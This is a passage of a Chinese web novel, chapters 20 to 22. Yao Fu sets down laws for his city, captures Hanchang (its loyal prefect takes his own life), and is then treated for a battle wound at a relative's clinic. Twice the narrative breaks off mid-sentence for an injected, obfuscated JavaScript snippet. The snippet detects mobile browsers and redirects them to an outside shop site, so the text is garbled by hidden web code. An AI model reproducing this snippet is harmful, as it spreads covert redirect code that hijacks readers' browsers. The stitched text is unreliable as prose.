“第一,不得恃强凌弱,欺辱老弱妇孺;第二,不得欺世盗名,行骗黎民百姓;第三,不得买卖人口,诱拐妇女幼儿。”姚复说罢这三条规矩,又补充一句:“违反这三条的,杀无赦。其余的按着当朝法律来即可,若有蒙受冤屈或是心怀不满,尽可来杏仁坊找我。” 法条无罪,肉食者暴。大梁的倾倒不是因为严刑峻法,反而是因为上位者自作自受。 百姓们其实对这些法条已经很满意了,不过是谁也没敢说出来。 姚复举起剑,问:“还有谁有异议吗?” 长剑折射着阳光,刺目的光芒刺进每个人眼中,没人出声。大家都知道,但凡有一句意义,自己的下场也许就是那段断裂的栏杆。 姚复收剑入鞘,一边转身下台,一边对老李说:“走,带我点兵去。” 新涂有将兵之才,可惜孤军奋战不是办法,姚复还是得跟着去打仗。 “新涂啊新涂,等我拿下鄂州非得给你封坛拜将。”姚复一边喃喃自语,一边跟着老李往城北军营走,新涂借着老李的名头早在军营里练兵了,这些日子都和将士们同吃同住,早树立了威望。 新涂练兵的效果也不错,老李刚走到门口,正要进去,就被交戟卫士手中的兵器抵住了脖子。老李后退一步,脱离危险地带,笑呵呵地对姚复说:“新将军可真是领兵的奇才啊。” 姚复也笑了笑,站在门口不动作。他听过周亚夫军细柳的故事,营中的兵士只听一人之言,现下只能等着新涂出来。 应瑕凉凉扫了姚复一眼,对门口的卫士说:“你们去通报将军,说是城主来见。” 两人对视一眼,其中一人向着三人的方向一拜,迅速钻进营中。 “诶?”姚复转过头去,满脸傻气地笑着看应瑕,似乎完全没想到还能这样。应瑕回了他一个大白眼。 老李没忍住,噗嗤一下笑了出来,又很快平复脸色,咳了一声,装作无事发生的样子。 不一会儿,穿了一身戎装的新涂笑着走过来,方才那卫士就跟在他身后。 新涂本就身材魁梧,脸上线条也硬朗,穿了一身铁甲更是显得威风凛凛,好似白起再世。 也许是每个男人刻在骨子里的血性使然,姚复看见那一身铠甲,眼睛都要直了。他笑着迎上去,拍了拍新涂肩上的铁甲,说:“这身这不错啊,看着真是神气。” 新涂憨厚一笑,挠了挠头,说:“也就那样吧,比不上你这身官袍,啧啧啧。” 老李找人给姚复做的是一身深红的圆领官袍,丝绸作料玉带钩,确是一副春风蹄疾意气风发的模样。 “咳,还行吧。”姚复感受到背后的目光,不自在地挺直脊背,“我来点兵。咱们择日出发,拿下北边的汉昌和南边的岳阳,好掣住鄂州。” 新涂拍拍姚复的背,爽朗一笑:“多大点事!咱们营里有五千骑兵,五千步兵,五千车兵,还有无数连弩火炮——虽说火炮都锈毁不能使了,打下鄂州还是绰绰有余。” “改天咱们再想个口号,比方说什么‘伐无道,兴楚国’一类的,在鄂州真是一呼百应啊!就是说武陵这边地势不怎么样,还得是汉昌,有名气有地形……” 姚复听着新涂自顾自分析着下一步的动向,自己则看着营里列阵整齐的兵士,心中一阵感慨。 一万五的兵士,不多,但打下整个鄂州绰绰有余——鄂州此地算是化外之地,各个城池驻守的兵力不多,各地起义的兵马也不及官兵精良,况且鄂州以汉昌岳阳两地最为富庶,打下这两个城池也就差不多能一呼百应了。 半个月过去,许久没有动静的屈郢最近突然有了新动作,竟派兵往据守中原的定州去了,西边的朝廷撤回了巴州往鄂州去的兵力,要去支援定州,同时一连下了五道诏令,要求貌合神离的鄂州派兵渡江支援。 要知道鄂州虽说还没个势力能够支撑大规模起义,可早就归不得朝廷来管了,早就脱离了控制,姚复在武陵立足的消息也传到了江北去,已经有了不少人隐隐打算投奔这位新起之秀,朝廷现在要征兵就是给姚复的下一步计划添薪加火。 北边汉昌的知府还没跑,这人似乎是一腔孤直,在朝廷上直言不讳,触怒了权贵,才被流放到汉昌做知府的—— 这只能说明皇帝还是很看好他的,至少没流放到交趾或合浦郡去。 这位汉昌知府竟真的发兵往定州去了。 “他是认真的吗。”姚复听说这消息时正蹲在地上啃营里统一配发的午餐三个窝窝头配两片烤羊肉,差点没笑出来。 他和新涂一块在军营泡了两个月,每天要么和这个士兵比试,要么和那个士兵演武,天天被揍的跟孙子一样,为了不丢人,他连应瑕都给撵回城里去了,整天没个消遣,这消息真是久违的让人快乐。 新涂三下五除二吃完了自己那份,又从姚复手里顺走了半个窝窝头,意犹未尽地说:“人家是个忠臣,有什么办法。” “啧啧,这叫愚忠。”姚复咋咋舌,两口吃完了摇摇欲坠的羊肉,“咱们干的差不多了,明天就发兵往汉昌去。你叫膳房出去多买些肉食,今晚吃顿好的!天天吃这玩意,能打仗吗……” 姚复小声嘀咕了一句,不料被新涂听着了,后者笑笑说:“只有咱俩这么吃。其他将士们吃饭每餐都要有两菜一汤的,每 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为了节省时间,较难攻克的岳阳交给了新涂,姚复则带了五千人同时往北攻打汉昌。汉昌如今精兵被调走了七七八八,剩下的不足挂齿,五千人倒也是足够的。只是鄂州不比定州,行军路途多水路,五千人到了地方,逃兵也得有两百。 不过足够了。 武陵离汉昌不远,早晨出发,到了傍晚也就到了城下。 姚复让人斩了守城门的两个士兵,又叫人朝着城里放话:“我们城主只等三个时辰,叫知府速速来见!若待到子时仍然拒降,休怪城主无情!” 姚复暂时不想闹的太难看。知府也算是忠义两全之人,姚复想先跟他讲讲道理,若这知府是个聪明人,想必也不会增加无效的损失。 放哨的士兵对视一眼,立时去请了知府。 不过半刻时间,眉毛胡子都花白的老头穿着寝衣就站在了城墙上,这老头一双虎目,脸上沟壑纵横,身材也不高大,浑身却透着正直的气场。可惜是个不明事理的犟种,前脚刚站到城墙上,后脚就往下喊:“逆贼!我誓与汉昌共存亡!我活则城在,城破则我亡!我不会让你们这群乱臣贼子得逞的!” “你这人怎么这么不懂变通!”姚复往城楼上喊道,“攻城!进城之后不准烧杀抢掠!” 老头一抿嘴唇,一甩袖子:“放箭!” 后排的将士们齐齐举起盾牌,抵挡箭雨。朱红的城门缓缓打开,这城里仅剩的近千兵士全都站在门口,城门洞开,两波军士霎时拼杀在一起,姚复一边持剑拼命砍向四面八方冲来的敌人,一边躲着空中的乱箭。 弓兵得了命令,许多箭矢都是朝着姚复去的,那老头深知擒贼先擒王的道理,可骑兵和弓兵都把矛头对准姚复时,战争就成了自相残杀,到了最后,大多箭矢竟插在了友军身上。 对面只剩了寥寥百人,一支暗箭破空而来,姚复几乎是下意识地反应,侧身躲过,重心不稳摔下马来,将士们手下的动作一顿。敌方百人见对方主帅落马,立即有人扑向姚复,剩下大多人则趁机退回了城中。 姚复迅速翻身爬起来,握着长剑再次冲进战场。 将士们见主帅没事,也都卯足最后一股劲,铁蹄终是踏破了城门。这汉昌城修的倒是好,城门里还有一道女墙,真正进城的小门已经关闭,知府仍站在墙上,命人往里放箭,姚复无心和他们纠缠,直接叫人去破那道小门。 知府见此情景,立时拿了剑就要下去,身后几个兵士一把抱住他——一个病弱老头,实在没办法跟一群年轻力壮的士兵打。 老头被人制着,也挣不开,只是拼命的叫喊,耳边也好似失了声息,只剩下城门被击打的沉闷响声。 最终随着一声闷响,城门彻底被破开,知府失了力气,后面的弓兵也泪眼婆娑地松开手。他并不心痛这个汉昌城,他只是心痛这位爱民如子的老人。 知府颓然的坐在地上,直到抱着兜鍪的姚复上了城墙。 攻破一城,调兵遣将用的凭证必须得拿走。 老头凄然一笑,把地方调兵用的玉牌扔到姚复脚边,重重叩首,再直起身子时,又提起了方才那柄短剑,引颈自刎了。 耳边传来风的呼啸和弓兵的呼喊,最终他的目光定格在姚复年轻的脸上。 “死了就死了,愚忠之才,难堪大用。” 世界终于陷入了无尽的黑暗与寂寥。 21. 第21章 姚复蹲下身子,拾起被摔出了几条裂痕的玉牌,又替知府阖了眼,才站起身来,拍拍衣上的尘土,说:“拖下去,好生安葬了吧。” 现在将兵之符握在姚复手中,几个兵士立即得了令,抬了尸体下去,只留一个弓兵在原地没动。 远处的天边已经泛起了微光,那一片鱼肚白不断扩大。姚复转身欲下楼去安置其他事务,余光却见方才拉着知府的那个弓兵还在原地一动不动,好奇之下便又转了身,询问道:“你不回城与家人团聚么?” 城楼上陷入寂静,那弓兵垂着头不说话。姚复感觉自己说错了话,正要开口找补,那弓兵却出了声:“我父亲是知府。父亲以府衙为家,现在他死了,家也没了。” 姚复丝毫不觉得自己有错,只是蹙起眉头:“你父亲愚忠又固执,落得这般光景是迟早的事。若早早降了,或是方才没有举剑自刎,都不至于叫你无处可去。” 弓兵苦笑一下,抱着头蹲下来:“大人,我没有怪你的意思……” 他被父亲强押着上了战场充兵力,本做好了必死的决心,侥幸寻得一条生路,却成了父亲口中的苟且偷生之辈,可他看着地上仍染着骨肉至亲鲜血的短剑,无论如何也没有勇气举起它自刎。姚复孤立无援地站在面前,他甚至没有勇气持剑与对方拼杀,为父亲复仇。 天色越来越明亮,姚复实在是不能再耽搁,便说:“既没有府邸,我回头给你安置就是了。你也不必纠结,知府完全是咎由自取。好死不如赖活着,人还是得往前看。” 说着他便下了楼去。站在城楼上远眺,能见远方驶来一架疾驰的马车,穿了一身月牙白的年轻人,衣袍在明亮的日光下格外显眼。 姚复在城里扎了营,又持着兵符,又让人传了令,把远赴定州的一伙兵力叫了回来。回头他再去攻打其他城池时汉昌里没有驻守的兵力不好办。 现在岭南还算安稳,可北边保不齐就要冒出来几个政权,或是三个或是五个,不派人驻守的话很可能得而复失。 将士们打了一宿,都在营帐里补觉。姚复顾不得休息,只想赶紧牵一匹快马,疾驰回到武陵去,去看看应瑕怎么样了——这都两个月没见过了。现在尘埃落定,自然是想尽快去见见她。 才不是想她,就是看看她把内务管的怎么样了。 当初他进军营时可是把城里的财权交给她了,万一她管的不好,武陵城入不敷出怎么办。 姚复在马厩里挑挑拣拣,终于找到一匹看着跑的很快的好马,这马儿通体枣红,皮毛柔顺,在阳光下泛着别样的色彩。他不是伯乐,并不识马,一眼能看出来它跑的够快就行。 他牵着马刚走到军营门口,却见交戟的卫士拦了人,正与来人争吵着。这批卫士是本就驻扎在此地的,现在也刚认识了这城中的新主,若是姚复什么熟人来投奔定然是会拦着的。 姚复一边想着一边把马匹拴在一边,拨开前面的卫士,往外探头看情况:“怎么回事?” 这一探头,猝不及防对上了应瑕的目光,后者瞳孔微微放大,又赶忙别过了头,姚复微微怔愣了一瞬间,随后扬起一抹微笑,迎了上去,拍了拍应瑕的肩膀,笑说:“这些日子你竟还胖了不少。” “行了,咱们先拟定一个口号,新涂那边还没传来信儿,估计也就这两天。”应瑕伸手拍了拍姚复还没脱下来、闪着幽幽冷光、沾着敌人鲜血的铁甲。 “这行头不错。”应瑕又往他胸口拍了一下,继而抬头看了看他的脸,“就是脸晒黑了,还弄的脏不拉叽的。” 姚复觉得自己被占了便宜,但没有证据。 他这两个月来晒成小麦色的脸一红,但也没过多和应瑕调侃,扶着她的肩膀就要往营帐里走:“好了,你一路舟车劳顿,先歇歇去……” “我没有……”应瑕小声反驳,但姚复力气长了不少,她一条胳膊又被抓着,有些挣脱不开。 “那你也没吃饭吧,不能不吃早饭啊……” 姚复嘱托了两句,又开始喋喋不休地讲述这两个月来自己在军营中的见闻趣事,完全停不下来。 两人往营帐里越走越远,应瑕无奈的一步三回头,说了好几次“外面还有人”,可姚复就跟听不见一样,嘴上仍说着那些趣事,手上硬拉着她往里走。她也只能用绝望的目光看着外边完全被忽略的韩玉笙,让他们自求多福。 交戟卫士再次将兵器交叉,隔绝了里外的世界。 韩玉笙崩溃大喊:“你当我们不存在吗——” 李小姐——现在应该称为韩夫人了,上个月刚过了生辰,便急急和韩玉笙拜了堂成了婚,现下已经将头上的总角放下,梳了个妇人的垂髻,穿一身宝蓝裙裳,站在韩玉笙身边,手里还牵着个五六岁的小女孩。 那小女孩是韩玉笙四哥的女儿,上个月韩四突发急病去世了,留下这个小女孩。小姑娘怯怯看着叔叔,也不敢说话。 “这下怎么办啊?”李小姐蹙着眉头问韩玉笙。 韩玉笙磨了磨后牙床,强压下内心的无语,对着妻子笑了笑说:“我妹那不在汉昌吗,咱们去她那儿。” 韩玉筝和她那个没用的夫婿(至少韩家这么认为)在汉昌落了脚,开了家医馆。他俩说是云游天下,过几个月就要换个地方立足,目前消息还没变动,韩玉筝应该还没离开。 “算她还有良心,愿意把地址告诉我们……”韩玉笙一边抱怨着一边领着妻子侄女在城里穿梭。韩玉筝其实根本就没打算告诉家里人自己什么情况,那封写着地址的信是她丈夫送去的。 汉昌到底是汉水入江之处,作为“楚中第一繁盛处”,自然是四方商贾云集,人文荟萃,城市规模极大,韩玉笙走了小半日才走到妹妹的医馆。 那医馆上挂一牌匾“回青堂”,大门却紧闭,门口有几个人焦急地转着圈,韩玉笙挑了挑眉,不明所以,走近了才见木门上挂了一张纸:“今日不看诊。” 旁边一老妪拉了拉韩玉笙的袖子,含糊着口音问:“小伙子,这上头写的歇业吗?老身在这里等了半日,也不见开门呐?” “我带着我孙子从巴州跑到这里来,总不能无功而返呀。小孩子身子弱……” 前面几句官话韩玉笙还能听懂,后面老太太直接开始说方言,韩玉笙听的也是云里雾里,巴州的方言、货币、文字都和中原有些差别,她不明白倒也正常。老太太见他听不懂,急的话更不清楚,泪水也在眼眶中打转。 韩玉笙对上老妪的目光,实话在嘴里绕了一圈,最终说:“没,上头写的今日晚些开门。” 他看了一圈,那巴州来的幼儿躺在一张草席子上,附近也有几个人捂着身上不舒服的部位,或站或立,都在等医馆开门。 这些人大约都不识字,看不懂纸上的话语。可不识字的人有什么钱,听韩玉筝说她丈夫有时会免费接诊穷人,是个好人——可要是这回青堂也不接诊,他们还能上哪去? 韩玉笙不是没过过苦日子,看到这场面心里也是不好受。反正他今天也是要进去的,不如帮着大家都就诊。他心里暗暗拿定主意,叫李小姐带着韩小姐往后走了远一点,自己上前敲敲门,里头没反应。 “阿婆,带着你孙子躲远一点。”韩玉笙活动了一下肩膀,对旁边的老妪说,一边嘴里还自言自语道:“韩玉筝,这可是你自找的啊。” 这老妪听得懂官话,但不多。她好歹活了有七八十岁,能看出来面前这个小伙要干什么,连忙抱着孙子后退到了一边去。 韩玉筝后退两步,活动了下腿部肌肉,又猛然冲了过去,一脚踹在回青堂的大门上,一扇木门嘎吱一声,不堪重负地往里倒了下去。 紧接着又是砰的一声,一只红木椅子从屋里飞了出来,砸在另一半木门上,椅子当场散架,木门则往外倒去。 门口的韩玉笙吓了一跳,见着椅子飞过来,急忙抱头闪躲,半边木门倒下后,露出来韩玉筝夫妻惊愕的脸。 韩玉笙站起来,三人六目相对。最终韩玉笙又惊又怒地踩着木门进了屋,斥责道:“你俩搞什么呢!陈重熙,你打我妹是不是?! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14278109|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 陈重熙回过神来,一双狐狸眼转了转,随后噙着泪满脸委屈地抓住了韩玉筝的胳膊晃来晃去:“玉筝,他冤枉我!” 这下本来就被这三个人吓得不轻的病人们更傻了,连李小姐也长大了嘴,满脸震惊。韩玉笙怒极反笑,指着陈重熙说不出话来,本想问候后者的十八辈祖宗,奈何还有小孩在场,韩玉筝也在看着,他只能扶着额头笑起来,不过额头上的青筋突突直跳。 韩玉筝侧过身子,挡在陈重熙身前,开口道:“我们在练习仙术。” “你被这小子洗脑了不是?怎么还信他的鬼话!”韩玉笙脸上带着笑容,咬牙切齿地问,“你甚至说了一整句话!” 韩玉筝和韩玉笙虽是双生子,但性格却天差地别。韩玉筝从小就不爱说话,脸上也鲜少露出生动的神情,用韩玉笙的话说就是“一整个大冰块”。随着她长大,连平日说话的字数都愈发减少,要么保持沉默不语,要么就是一两个字概括自己的所有想法。 这下竟是说出来一句主谓宾齐全的完整句子!还是为了维护陈重熙! “……”韩玉筝沉默不语,但还是保持着护着陈重熙的姿态。 “行了,不说你俩的事了。”韩玉笙按了按眉头,平复自己的心情,“外面那几个来看病的,马上给我看了,你俩。尤其是那个小孩,再拖下去就看不见今晚的月亮了。” 陈重熙方才注意到门外勾头往里看的病患们,“哎哟”一声就跑了出去,直接就着门口的地板开始给那孩子把起脉来。 “我们来你家借宿。”韩玉笙对韩玉筝说。 韩玉筝抬头看了他一眼,眼皮子动了动,看样子是想翻白眼,但给忍下来了。 “呵呵……”韩玉笙笑了起来,“姚复来了。” “好快。”韩玉筝罕见的眼中露出一丝惊讶,脱口而出,随后又惊觉失言,越过韩玉笙看了看外面站着的李小姐,发现并无异常后才施施然拎起裙摆,往里面的药柜子处走去,开始挑选药材。 那孩子晚上方才悠悠转醒,被安置在了医馆里。陈重熙强拉着老太太也给把了一遍脉。 “你是说,他们把你们关在营帐外面了?”陈重熙一边探着老妪的脉象一边问韩玉笙,“阿婆,你儿子儿媳虐待你吗?怎么一副气血亏虚的样子?还有这身上的毛病真是多的数不胜数……” 老太太有些羞赧地低下头。 韩玉笙翻了个白眼:“嗯。他只顾着和夫人说说笑笑去了,根本没看见我们!” “哈哈哈,你活该。”陈重熙笑了起来,“不过他俩成婚才多久,不该这么亲密吧?” “我哪知道!”韩玉笙抓了一把自己的头发,“我也刚成婚!还得管小孩!” 韩玉筝眼神动了动,落在韩小姐身上,忽然问:“谁家的?” 韩小姐站在李小姐背后,显然有些怯生。韩玉筝走时她才两三岁,根本记不得这个姑姑。韩玉笙拉着小孩的袖子,把她拽到前面去,拍了拍她的脊背,没好气地对韩玉筝说:“你家的!屿灵!你不记得了?” 李小姐蹲下身子,拍了拍韩屿灵的肩,柔声说:“那是你姑姑姑父。” 韩玉筝点点头,做出一副恍然大悟的表情,随后忽然警惕地退步,双手交叉,在胸前比了个叉号,咬着字说:“不、要!” 韩玉笙笑了笑,把韩屿灵抱起来,一把塞进韩玉筝怀里:“哥哥可是刚成婚,带不了这么大的孩子,跟着你好了,就当你俩的孩子。” 韩玉筝又不好脱手,只抱着孩子摇头。 陈重熙还低着头努力跟老太太沟通,完全没注意到自己已经多了个孩子。 韩玉笙扶着李小姐,躺到了一边的椅子上,惬意地对韩玉筝说:“哎呀,最迟明天,他俩就得闹到这里来。” 韩玉筝不动声色地把一把银针扎在了手边的毛线球上。陈重熙撩了撩刘海,抬起头来:“你俩下来啊!” 韩玉笙笑了笑,不动弹。 看见这小两口就来气,不如躺着恶心恶心他们。 22. 第22章 岳阳离武陵要比汉昌离武陵近的多,新涂的军队方行了半日就与岳阳的守军交了兵——此地知府似乎也起了反心,打算先下手为强。可惜他练兵的技巧不如新涂,还不到天黑,新涂就攻下了整个岳阳城。 号称“屈贾之乡”的长沙在百年前被并入了岳阳府,倒也方便了新涂再去劳心劳力攻打。只是长沙县名气比岳阳更大,控制了更好展开下一步行动,新涂一不做二不休,直接把营扎在了长沙县。 长沙离汉昌还是颇有距离的,驿使又没有行军用的快马,只能腿着去,捷报递到应瑕手里时已经是第三日早上了。 驿使垂着头把信件递到这位高高在上的主母手里,心中不住地暗骂寄信的那位将军为什么不找斥候做这送信的活头,偏要他一个普通的驿使来,简直就是强人所难! 应瑕是被底下的卫士强行叫醒的——这卫士也知道姚复打了仗,一天没休息,不好惊动——于是应瑕只好顶着没梳的杂乱长发,穿着寝衣出来看那封急信了。 她拢拢耳边的长发,仔细端详那信件——信封上带着斑斑血迹,有些发皱,底部面前能辨出个字形来。封泥处的印章纹路确是与应瑕交给新涂用的那只一模一样。应瑕打了个哈欠,撕开信封,一目十行地看完,挥挥手叫驿使退下了,自己则从椅子上站起来,顺手推开了姚复的房门。 “子季,捷报来了……”应瑕揉揉惺忪的睡眼,往里面喊着。 姚复整个人裹着被子缩在床上,对外界的呼喊毫无反应。应瑕觉察有些不对,走到榻前,见到姚复背对着她,整个人紧着被子缩在床上,只露出一点头发。 应瑕忽然想到什么,一拍脑袋,有些悔恨地说:“啧,忘了这茬了。快叫大夫来!” 门口的卫士闻声往里探头,回答道:“主母,咱们军中没有军医啊!” “那去城里找!”应瑕焦躁地站起来,抓住那卫士的胳膊,旋即脑中灵光一现,“等等,这边是不是有个姓陈的医师?” 卫士不动声色地抽回手臂,后退一步,有些紧张地说:“是……不过那陈郎中只坐诊不行诊。” “我知道。”应瑕回了一句,转过身去,从衣架子上随便找了件衣服——幸而姚复备了常服挂在那儿,她随意套上外袍,又大步出了门,开始点人:“你,你,抬着床榻去那医馆,你俩留在这儿,多烧一些热水。” 卫士们得了令,纷纷抱拳称是,方才被点到的卫士马上进屋抬了床榻出去,应瑕一边把鞋跟提上,一边跟着出了门去。 军人做事就是利落,与那些个推三阻四畏头畏尾的文人全然不同。这也是应瑕喜欢军营的缘故。 四个人就这么上了街,百姓们见着前面两个卫士一身铁甲,都自觉让开道路,也不敢多说什么,只好奇的看那榻上,又见后面散着头发的应瑕,登时明白了七八分,一个个露出了然的神情。今日也来不及清街,应瑕又怕传出什么谣言来,从上路开始就时不时用眼神威慑街上的“长舌妇”。 可一人怎么堵的住悠悠众口,何况应瑕也没这个心思全心全意遏制谣言。 今日医馆换了扇新门,那孩子的病症也不少,陈重熙打算再闭馆几天,专心为这小孩治病,因而医馆仍处于闭门谢客的状态。卫士们见大门紧闭着,都踌躇着停下脚步,应瑕快步跟上来,见到门上那张纸,一下扯了下来撕了个粉碎,大喝一声:“砸开!” 卫士们放下床榻,两个人你一拳我一脚地把刚换的新门又砸坏了。 陈重熙见自家大门再次倒下,满脸错愕地抬头,正欲看看是哪个人如此胆大包天,一眨眼对上了应瑕要吃人的表情,只好把发作的话咽了回去。 他松开小孩的手腕,那孩子翻了个身,躺回祖母怀里,似乎是被吓到了,只敢偷偷露着眼睛打量外面的情况。 韩玉筝叹了口气,开始从柜子里找消炎的药材。 “阿婆,药已经熬好放温了,您先喂着孩子吃药吧。”陈重熙安抚老妪两句,又对小孩说:“小宝乖,药里的黄连换成了金银花,不苦的。” 小孩点点头,由着他祖母抱着他吃药去了。 两个卫士重重把床榻放在地上,就被应瑕挥退了。陈重熙抓住姚复的手腕把脉,又掀开被子,给他翻了个身,露出后腰上的伤疤,抽了口气。 “不是,他自己不知道受伤了,你还不知道啊?”陈重熙抬头问应瑕,后者脸上罕见地露出一抹惭愧:“我忘了。” 人刚受伤时是意识不到痛苦的,姚复刚下了战场,又见到应瑕,心里的兴奋怕早就把那几分不适抛到了九霄云外。 陈重熙叫苦不迭地处理已经发炎的伤口,偏偏还不敢和应瑕作对,只小声嘀咕:“上次伤的也没这么重啊……怎么搞的。” 韩玉筝熬好了药,将筷子和药碗一同递给应瑕。后者坐在榻上,拿筷子搅了搅那碗浓稠的、散发着奇怪气味的汤汁,最终还是捏着鼻子,把筷子抵到了姚复的舌尖上,苦药顺着筷子入了口,她才一脸嫌弃地把碗筷放回柜台上,顺便从果盘里拿了两块蜜饯。 “喝药的都没吃蜜饯……”陈重熙站起身子,把昨天被韩玉筝扎成刺猬的毛线球拿起来,把银针一根根取下,笑着对妻子说:“玉筝,下次这针别往毛线上扎,往你哥身上扎哈。我看他指定也有点毛病,这都日上三竿了还不起。” 李小姐一早就带着陈屿灵出去逛街了,韩玉笙居然还在赖床。 韩玉筝郑重点头,接过陈重熙拔下来的一把银针,开始给姚复施针。陈重熙倚在柜台上,拿汤匙舀了早放在桌上,只是目前已经半凉的燕麦粥,说:“就当给玉筝练手了。我听说屈郢往定州去了,夫人打算下一步怎么走?” 应瑕看着韩玉筝给姚复扎针,微微蹙着眉头:“不北进了,先打巴州。” 巴州天府之国,拿下了就有数不尽的粮草。况且巴州北边就是秦州,只要过了岷山就能一举攻下长安。 陈重熙笑了一下:“夫人是打算拿下碧姬要挟屈郢吗?” 韩玉筝站起身来,走回了柜台后,从陈重熙手上夺走了碗,放到一边的小炉上热粥,口中说:“别吃,凉。” “你们,可真是……恩爱啊。”应瑕转过头,看着他们夫妻二人,眼眶微红,最终转回话题,“哪里还有什么碧姬啊。她可是拿自己的魂魄炼了这么一只‘仙蛊’呢……” 记忆中那个一袭红衣,明艳鲜活,最终又绝望哭泣的女孩,已经随着风烟消散在这个世界上了。 陈重熙脸色僵硬了一瞬间,随后又挂上了温和的微笑:“也是,已经没有碧姬了。按着他这个情况,要回岳阳少说也得等两天了。” “上次伤口可没这么严重。”陈重熙继续微笑着,他一笑起来,一双狐狸眼总会眯成一条缝。悬壶济世的仁医,偏偏生了个阴险狡诈的面相。 应瑕坐回床榻,有些烦躁地捋了捋鬓边的长发:“别拿这个说事了。你真是一如既往地讨人厌烦。” 忽而,应瑕似乎听到了姚复在说些什么,便把耳朵凑近了一些,但还是没听清楚,病中之人说话没有常理,应瑕却起了逗弄他的心思,俯首问道:“你说什么?” “……九黎……”姚复嘟哝了一句,只有这两个字能清晰地分辨出来,却也是这两个字,让在座的知情人都愣住了,霎时间大堂里鸦雀无声,只剩下几缕均匀的呼吸声。 “我听错了?”陈重熙脸色铁青,“不是说他不能知道这事吗。” 应瑕脸色也不好看,却一句话也说不出来。 “我听说人的神识能预见未发生的事,咱们下次讲话避着他,免得再想起来些什么。”陈重熙再次端起那只小碗,开始吃早饭。 大堂里陷入一片死寂,也没人再敢说话,生怕姚复再说些什么。 李小姐带着陈屿灵恰回来了,见着再次砸毁的大门着实一愣,但看到应瑕时还是笑着打了招呼:“夫人,你们怎的到这里来了?这是……” 应瑕站起身来,有些局促地说:“他受伤了。” 陈屿灵手里拿了两串糖葫芦,顺手把其中一串递给了那巴州来的孩子,正欲说两句话,却被韩玉筝拉开了:“别去,传染。” 小孩子身子弱,极易受病气侵扰。 大堂再次陷入寂静,李小姐也拿着一串糖葫芦,一开始还能啃着零食聊解尴尬,可那串糖葫芦啃到一半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290667|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,最终她还是有些受不了,眼神看向最好说话的陈重熙,犹豫地问:“大家……为什么不说话?” “没事……没事。”陈重熙笑了笑,“我们在想起兵的口号。” 李小姐咬下最后一颗山楂,说:“你们不是早起兵了,还想什么口号。” 确实早起兵了,从姚复逃到鄂州就算是起兵了,只是拿下了武陵才渐渐有了充足的兵力而已。 大堂再次陷入寂静,李小姐意识到自己似乎说错了话,连忙找补:“我、我去叫玉笙哥起来,你们先聊着。” 说着便丢了那签子,往内室里跑了。韩玉笙在应瑕砸门进来时就被吓醒了,只是刚穿好衣服外边就陷入了一片死寂,这屋子隔音也不太好,他们说的什么在里面都听的一清二楚。只是他现在也不敢出去了,只趴在门板上听外面什么情况。李小姐见着他吓了一跳,却又不忍心骂他,只好坐在房里的小案前,负气般地拿起一本书来看。 也不知道是陈重熙配的药好还是韩玉筝的针法好,不过半日光景,姚复的神智竟已然恢复了清明,只是伤口仍然狰狞可怖。姚复睁开眼睛,映入眼帘的似乎不是昨夜睡下时的床幔,方才感到有些奇怪。 他坐直身子,环顾了一圈,见自己似乎在某个药堂子里,应瑕半伏在榻上睡觉,不远处有一老妪抱着小孩躺在一只躺椅上。所幸这里还有扇小窗透着光亮,看这光景像是寅时刚过,大家没睡醒也正常。 姚复拿手指拨弄了一下应瑕胳膊压着的长发,又躺回床上望天。想来是昨日里生了病,睡了整天。也不知道医师给他吃了什么药,现在嘴里满是苦味,身上也是密密麻麻的蚁行感,估计还上了针。 也许是昨日睡的太久,今日头一个出来的居然是韩玉笙。他在屋里转了两圈,走到姚复榻边时,他打了个哈欠,正打算把应瑕叫醒回屋里再睡回笼觉,余光猝不及防瞥到姚复的脸,才见对方睁着眼。韩玉笙打了一半的哈欠卡在嘴里,登时睡意全无,急忙收了手,张着嘴瞪大眼睛看向姚复。 “你——”他惊诧地喊出来,又想起来大家都在睡,又捂住嘴,旋即压低声音说,“醒了怎么不叫人呢!” 姚复看了看应瑕,撇撇嘴:“她还在睡呢。” 韩玉笙把他扶起来,压着声音问:“你记不记得昨天说了什么?” “什么说什么?”姚复一头雾水,随即又警惕起来,“我昨天说什么了?病中胡言乱语可不能当真啊。她没听到吧?” 一边说着他还一边看应瑕,生怕她随时醒过来。万一他说出了什么奇怪的东西,怎么在应瑕面前立足。 韩玉笙压着声音:“你不记得了?你说什么九黎什么——” 姚复松了一口气,说:“这个啊,说来也怪,我做了好长一个梦。好像梦到黄帝和蚩尤打仗了,我是什么大祭司来着……” “呼,那就好那就好。”韩玉笙松了一口气,接着半蹲下身子,拍了拍应瑕的肩,“夫人,咱回屋睡吧?” 应瑕忽然从胳膊中把头抬起来,朝着姚复笑了笑。她头发散乱在面前,一双眼睛却亮的吓人,嘴唇上也不知涂了胭脂还是怎么的,这会儿红的要滴血一样。这幅尊容说是从某个话本里爬出来的女鬼姚复都信。 姚复坐直身子,伸出两根拇指,把应瑕的长发拨到耳后,说:“好了,回去睡觉吧。修养好精神,咱们下午就去看看岳阳那边怎么样了。” 应瑕从袖子里取出捷报,说:“岳阳好得很,不必管他。你先养好你的伤吧。” “我受伤了?”姚复一惊,这才感受到后腰处若有若无的钝痛,下意识摸了一把,手指所触除了一阵锐痛,竟还有黏腻的湿濡触感,手指送到眼前,才见是一点血迹。 